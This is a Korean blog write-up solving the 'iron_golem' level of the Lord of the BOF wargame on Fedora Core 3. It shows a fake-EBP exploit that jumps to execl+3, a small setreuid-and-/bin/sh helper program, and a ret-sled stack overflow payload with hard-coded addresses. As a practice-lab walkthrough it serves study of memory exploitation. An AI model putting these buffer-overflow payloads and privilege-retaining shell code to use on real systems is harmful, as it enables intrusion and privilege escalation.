[LOB FC3] gate -> iron_golem

2018. 4. 25. 22:20

음... LOB는 여기서 writeup을 접으려했으나;


역시 끝까지 다하는게 좋을거같아서 적는다.


/*
    The Lord of the BOF : The Fellowship of the BOF 
    - iron_golem
    - Local BOF on Fedora Core 3 
    - hint : fake ebp
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}
 
cs


힌트는 fake ebp!


하지만 ret sled로도 풀수 있다.

하지만 뭐... fake ebp라니까 먼저 이쪽으로 해보자


구성은


buf(256) + fakeEbp(4) + [execl주소+3](4)


(gdb) p execl

$1 = {<text variable, no debug info>} 0x7a5720 <execl>


execl의 주소는 구하였고, execl+3을 하면 프롤로그 생략이 가능해서 fakeEbp를 그대로 쓸 수 있다.
(leave : mov esp ebp, pop ebp
 ret : pop eip, jump eip   )


Dump of assembler code for function execl:

0x007a5720 <execl+0>: push   ebp

0x007a5721 <execl+1>: mov    ebp,esp

0x007a5723 <execl+3>: lea    ecx,[ebp+16]

0x007a5726 <execl+6>: push   edi

0x007a5727 <execl+7>: push   esi

0x007a5728 <execl+8>: push   ebx

0x007a5729 <execl+9>: sub    esp,0x1038

0x007a572f <execl+15>: mov    eax,DWORD PTR [ebp+12]

0x007a5732 <execl+18>: mov    DWORD PTR [ebp-16],0x400 



이 부분에서 execl+3해서 프롤로그를 생략한다. 그럼 이제 fakeEbp+8의 위치에 execl의 인자로 쓸 값이 들어가면 된다.

int execl(const char *path, const char *arg0, ... , const char *argn, NULL); 
  path : 실행할 파일의 경로
  arg0 : 실행할 파일 명
  argn : arg0의 파일의 인자

마지막은 NULL로 끝을 알려준다.

execl("실행할 프로그램명", null); 로 구성해서 공격해보겠다.




fakeEbp의 위치로는  got가 적당할거 같아서 저쪽을 알아보자.



저곳을 사용하면 좋겠다. 0x0804954c의 값은 0x01이고 실행할때 마다 값이 변하지 않는다. 뒤에 0x0000(null)이 있으므로 인자의 끝을 넣기도 좋다.

실행할 파일이름을 0x01로 지정해주든... 심볼릭 링크를 걸든해서 설정해주고

저곳으로 FakeEBP(0x8049610)해주면 될것같다.


#include <stdlib.h>
 
int main()
{
    setreuid(geteuid(), geteuid());
    system("/bin/sh");
 
    return 0;
}
 
cs

이런 코드를 짠 후, 심볼릭 링크로 0x01을 설정해주었다.


buf(256) + fakeEbp(4) + [execl주소+3](4)




굿!!


한번 Ret sled도 써보겠다. 


ret sled로 스택을 이동하여 execl의 인자로 적당한 값이 있는 곳에서 execl을 실행하면 된다.



0x0083eff4 0x00000000 이 있고, 이 값은 변하지 않는다.(몇번 실행을 통해 알 수 있다.)

0x0083eff4의 값도 0x83ed3c로 고정되어 있으므로, ret sled로 주소값을 올려 저 값을 execl인자로 넣게 하자


ret주소 : 0x08048441

execl주소 : 0x7a5720


payload : /iron_golem "`python -c 'print("A"*268+"\x41\x84\x04\x08"*3+"\x20\x57\x7a\x00")'`"


참고로 \x20 이 엔터값이라서 큰 따옴표로 한번 묶어서 넣어줘야한다.



오키... 클리어



+ Recent posts